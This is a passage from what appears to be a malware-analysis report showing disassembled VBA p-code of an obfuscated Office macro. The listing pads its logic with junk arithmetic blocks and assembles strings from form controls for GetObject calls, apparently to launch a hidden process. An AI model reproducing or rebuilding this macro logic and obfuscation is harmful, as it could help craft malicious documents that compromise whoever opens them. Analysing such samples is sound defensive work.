' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St vXAGGA 
' Line #13:
' 	EndSelect 
' Line #14:
' 	Ld BA_BUAAw 
' 	SelectCase 
' Line #15:
' 	LitDI4 0x371D 0x1AA2 
' 	Case 
' 	CaseDone 
' Line #16:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld AAAcBAA 
' 	LitDI4 0xAEDD 0x2B3D 
' 	Div 
' 	Ld FcC1xD 
' 	Div 
' 	Ld iAAA4AAk 
' 	LitDI4 0x0117 0x2A29 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0xD438 0x2D04 
' 	LitDI4 0xD723 0x2E33 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St EAA_AoDQ 
' Line #17:
' 	LitDI4 0xC822 0x07A8 
' 	Ld QwD4kk 
' 	Mul 
' 	St OAAAAAQ 
' Line #18:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0xDFB9 0x3749 
' 	LitDI4 0x226F 0x120C 
' 	Sub 
' 	LitDI4 0x0B95 0x07EE 
' 	Add 
' 	Ld m4XG4D 
' 	Ld wxBUUAQ 
' 	Div 
' 	Sub 
' 	LitDI4 0xB21C 0x0C2A 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St I1QQA_UU 
' Line #19:
' 	EndSelect 
' Line #20:
' 	SetStmt 
' 	Ld MUCoBX 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd zA1XxAB 
' 	Add 
' 	Ld MUCoBX 
' 	MemLd GetObject 
' 	Add 
' 	ArgsLd okAccAXc 0x0001 
' 	Set qcDAkD 
' Line #21:
' 	Ld sQDcxA 
' 	SelectCase 
' Line #22:
' 	LitDI4 0x1E52 0x2B9D 
' 	Case 
' 	CaseDone 
' Line #23:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld DoGoAAQ 
' 	LitDI4 0x56DF 0x159D 
' 	Div 
' 	Ld vAUCAx 
' 	Div 
' 	Ld fAcAAZ 
' 	LitDI4 0xD49C 0x164E 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x96D5 0x1E96 
' 	LitDI4 0xB159 0x2263 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St fk1AUkA 
' Line #24:
' 	LitDI4 0x621C 0x35DD 
' 	Ld rAcAAA 
' 	Mul 
' 	St dAXCcAxA 
' Line #25:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x7F4E 0x36D0 
' 	LitDI4 0x37F9 0x12F6 
' 	Sub 
' 	LitDI4 0xB9DD 0x276E 
' 	Add 
' 	Ld FGABAk 
' 	Ld ZQAoQAcZ 
' 	Div 
' 	Sub 
' 	LitDI4 0xA0ED 0x1D3A 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St HAwZkBUA 
' Line #26:
' 	EndSelect 
' Line #27:
' 	Ld sBBQBA 
' 	SelectCase 
' Line #28:
' 	LitDI4 0xDF9B 0x0529 
' 	Case 
' 	CaseDone 
' Line #29:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld hAUADA 
' 	LitDI4 0x2CFB 0x31F3 
' 	Div 
' 	Ld LAwAA_ 
' 	Div 
' 	Ld YACGBBA 
' 	LitDI4 0x4D68 0x3245 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x0FB0 0x0690 
' 	LitDI4 0xFB86 0x2BD1 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St SDCxUDA_ 
' Line #30:
' 	LitDI4 0x93A9 0x1236 
' 	Ld aGABQkU 
' 	Mul 
' 	St zAAAAxBB 
' Line #31:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x6571 0x1F07 
' 	LitDI4 0x62F7 0x0C17 
' 	Sub 
' 	LitDI4 0x9CB2 0x04DB 
' 	Add 
' 	Ld LAAADQ 
' 	Ld lAkAQAQ 
' 	Div 
' 	Sub 
' 	LitDI4 0x5F29 0x317D 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St X4xACBD 
' Line #32:
' 	EndSelect 
' Line #33:
' 	Ld Gk4Aw4 
' 	SelectCase 
' Line #34:
' 	LitDI4 0x3983 0x2784 
' 	Case 
' 	CaseDone 
' Line #35:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld MBB4QB1 
' 	LitDI4 0x624E 0x19D1 
' 	Div 
' 	Ld IDoUAQ 
' 	Div 
' 	Ld wABBADx 
' 	LitDI4 0xF021 0x1F9C 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0xD779 0x29B3 
' 	LitDI4 0x9BEF 0x0D28 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St UAAA_AC 
' Line #36:
' 	LitDI4 0xE942 0x23C1 
' 	Ld QA_DwUZ4 
' 	Mul 
' 	St zAQkXZx 
' Line #37:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x044F 0x15CF 
' 	LitDI4 0x8C89 0x2888 
' 	Sub 
' 	LitDI4 0xCC1F 0x0BA8 
' 	Add 
' 	Ld iDw1C4AA 
' 	Ld pA4QDX 
' 	Div 
' 	Sub 
' 	LitDI4 0xA633 0x1354 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St ZUAXUG 
' Line #38:
' 	EndSelect 
' Line #39:
' 	LitDI4 0x58DD 0x0007 
' 	LitDI4 0x58DD 0x0007 
' 	Sub 
' 	Ld qcDAkD 
' 	MemSt bBxAAAA_ 
' Line #40:
' 	Ld ShowWindow 
' 	SelectCase 
' Line #41:
' 	LitDI4 0x6106 0x0E19 
' 	Case 
' 	CaseDone 
' Line #42:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld FBAQDC 
' 	LitDI4 0xAC36 0x2312 
' 	Div 
' 	Ld i_AcoGk 
' 	Div 
' 	Ld I1kUAC 
' 	LitDI4 0x55D4 0x09EE 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0xD8AC 0x1093 
' 	LitDI4 0x7A6F 0x0528 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St NUcQoA1 
' Line #43:
' 	LitDI4 0x92FC 0x1FC1 
' 	Ld rAAQDQAA 
' 	Mul 
' 	St mAGAQXo 
' Line #44:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x4A77 0x29A9 
' 	LitDI4 0x3693 0x17FA 
' 	Sub 
' 	LitDI4 0xE753 0x019A 
' 	Add 
' 	Ld lwUAAABk 
' 	Ld ZAcD1Q 
' 	Div 
' 	Sub 
' 	LitDI4 0xF982 0x073C 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St OBcDBAUA 
' Line #45:
' 	EndSelect 
' Line #46:
' 	Ld qA4D1B 
' 	SelectCase 
' Line #47:
' 	LitDI4 0xDBAD 0x123A 
' 	Case 
' 	CaseDone 
' Line #48:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld o1UD_G 
' 	LitDI4 0x9EBB 0x1CB9 
' 	Div 
' 	Ld pZAQAD 
' 	Div 
' 	Ld sAZ1CD 
' 	LitDI4 0x7639 0x34D6 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0xF696 0x1390 
' 	LitDI4 0xD845 0x3360 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St kADc1XUD 
' Line #49:
' 	LitDI4 0xF150 0x16E1 
' 	Ld ZADccwG 
' 	Mul 
' 	St r4oXkcwk 
' Line #50:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0xA06A 0x2841 
' 	LitDI4 0xCDB4 0x1E37 
' 	Sub 
' 	LitDI4 0x2685 0x315E 
' 	Add 
' 	Ld hUAD4C 
' 	Ld B4AoDcU 
' 	Div 
' 	Sub 
' 	LitDI4 0x8E50 0x2C28 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St q1kAoxc 
' Line #51:
' 	EndSelect 
' Line #52:
' 	LineCont 0x0004 0E 00 00 00
' 	Ld MUCoBX 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd Create 
' 	Add 
' 	Ld MUCoBX 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd ucoADQ1 
' 	Add 
' 	Ld MUCoBX 
' 	MemLd GetObject 
' 	Add 
' 	Ld MUCoBX 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd aoxD1AA 
' 	Add 
' 	Ld MUCoBX 
' 	MemLd GetObject 
' 	Add 
' 	Ld MUCoBX 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd E1ACBC 
' 	Add 
' 	Ld MUCoBX 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd lAXZQB 
' 	Add 
' 	Ld MUCoBX 
' 	MemLd GetObject 
' 	Add 
' 	Ld QcUo1G 
' 	Ld qcDAkD 
' 	Ld MUCoBX 
' 	MemLd GetObject 
' 	Ld MUCoBX 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd tAAAcAox 
' 	Add 
' 	Ld MUCoBX 
' 	MemLd GetObject 
' 	Add 
' 	ArgsLd okAccAXc 0x0001 
' 	ArgsMemCall w4ABUB4 0x0004 
' Line #53:
' 	Ld YACAoDZA 
' 	SelectCase 
' Line #54:
' 	LitDI4 0x9CB9 0x3446 
' 	Case 
' 	CaseDone 
' Line #55:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld Rc_AAx 
' 	LitDI4 0xAF95 0x09B6 
' 	Div 
' 	Ld rZUA4k 
' 	Div 
' 	Ld cBUkZ1 
' 	LitDI4 0xF7D0 0x0BC0 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x8A23 0x38A3 
' 	LitDI4 0xA94A 0x2628 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St fAZAAAx 
' Line #56:
' 	LitDI4 0xBB98 0x3065 
' 	Ld z_AcDkA 
' 	Mul 
' 	St D_AQkCAA 
' Line #57:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x63EC 0x30B0 
' 	LitDI4 0xC0F2 0x3B5E 
' 	Sub 
' 	LitDI4 0x7330 0x1735 
' 	Add 
' 	Ld DGXQAAAQ 
' 	Ld QGQkAkk 
' 	Div 
' 	Sub 
' 	LitDI4 0x946E 0x2359 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St YAQZ1Dc 
' Line #58:
' 	EndSelect 
' Line #59:
' 	Ld IADA4A_ 
' 	SelectCase 
' Line #60:
' 	LitDI4 0x7665 0x3752 
' 	Case 
' 	CaseDone 
' Line #61:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld H4BGZA 
' 	LitDI4 0x1364 0x19D9 
' 	Div 
' 	Ld AAoD_AD 
' 	Div 
' 	Ld ucxGAk 
' 	LitDI4 0x3671 0x162F 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x1E1D 0x126B 
' 	LitDI4 0x5BB5 0x0967 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St FCAwUU 
' Line #62:
' 	LitDI4 0x2668 0x302B 
' 	Ld iDAAA1D 
' 	Mul 
' 	St sZXAAD 
' Line #63:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0x480A 0x0BE4 
' 	LitDI4 0x40C5 0x3AE7 
' 	Sub 
' 	LitDI4 0xC535 0x2DF0 
' 	Add 
' 	Ld cUAUBAA 
' 	Ld OABAAA 
' 	Div 
' 	Sub 
' 	LitDI4 0x835F 0x2343 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St acQwBx1 
' Line #64:
' 	EndSelect 
' Line #65:
' 	Ld TGAZZAZU 
' 	SelectCase 
' Line #66:
' 	LitDI4 0x2BEE 0x1840 
' 	Case 
' 	CaseDone 
' Line #67:
' 	LineCont 0x0008 06 00 00 00 12 00 00 00
' 	Ld SZ4UGk 
' 	LitDI4 0x9DEE 0x1790 
' 	Div 
' 	Ld EDAcAxB_ 
' 	Div 
' 	Ld AXoAAU 
' 	LitDI4 0x9752 0x3B55 
' 	Coerce (Int) 
' 	Add 
' 	Coerce (Int) 
' 	Sub 
' 	LitDI4 0x37BE 0x1D0F 
' 	LitDI4 0x790B 0x1A48 
' 	Coerce (Lng) 
' 	Mul 
' 	Paren 
' 	Add 
' 	St MBUDAG 
' Line #68:
' 	LitDI4 0x9B6C 0x01E7 
' 	Ld tQAAAA 
' 	Mul 
' 	St TZAQAAk 
' Line #69:
' 	LineCont 0x0004 06 00 00 00
' 	LitDI4 0xB0DF 0x37B1 
' 	LitDI4 0x1006 0x12C8 
' 	Sub 
' 	LitDI4 0x8B83 0x1DA6 
' 	Add 
' 	Ld XAAQZU 
' 	Ld BDxBUUw 
' 	Div 
' 	Sub 
' 	LitDI4 0x1767 0x10A9 
' 	ArgsLd Tan 0x0001 
' 	Sub 
' 	St dAoUkAx 
' Line #70:
' 	EndSelect 
' Line #71:
' 	EndSub 
' Line #72:

Open this report in the interactive analyzer, or submit your own file for analysis.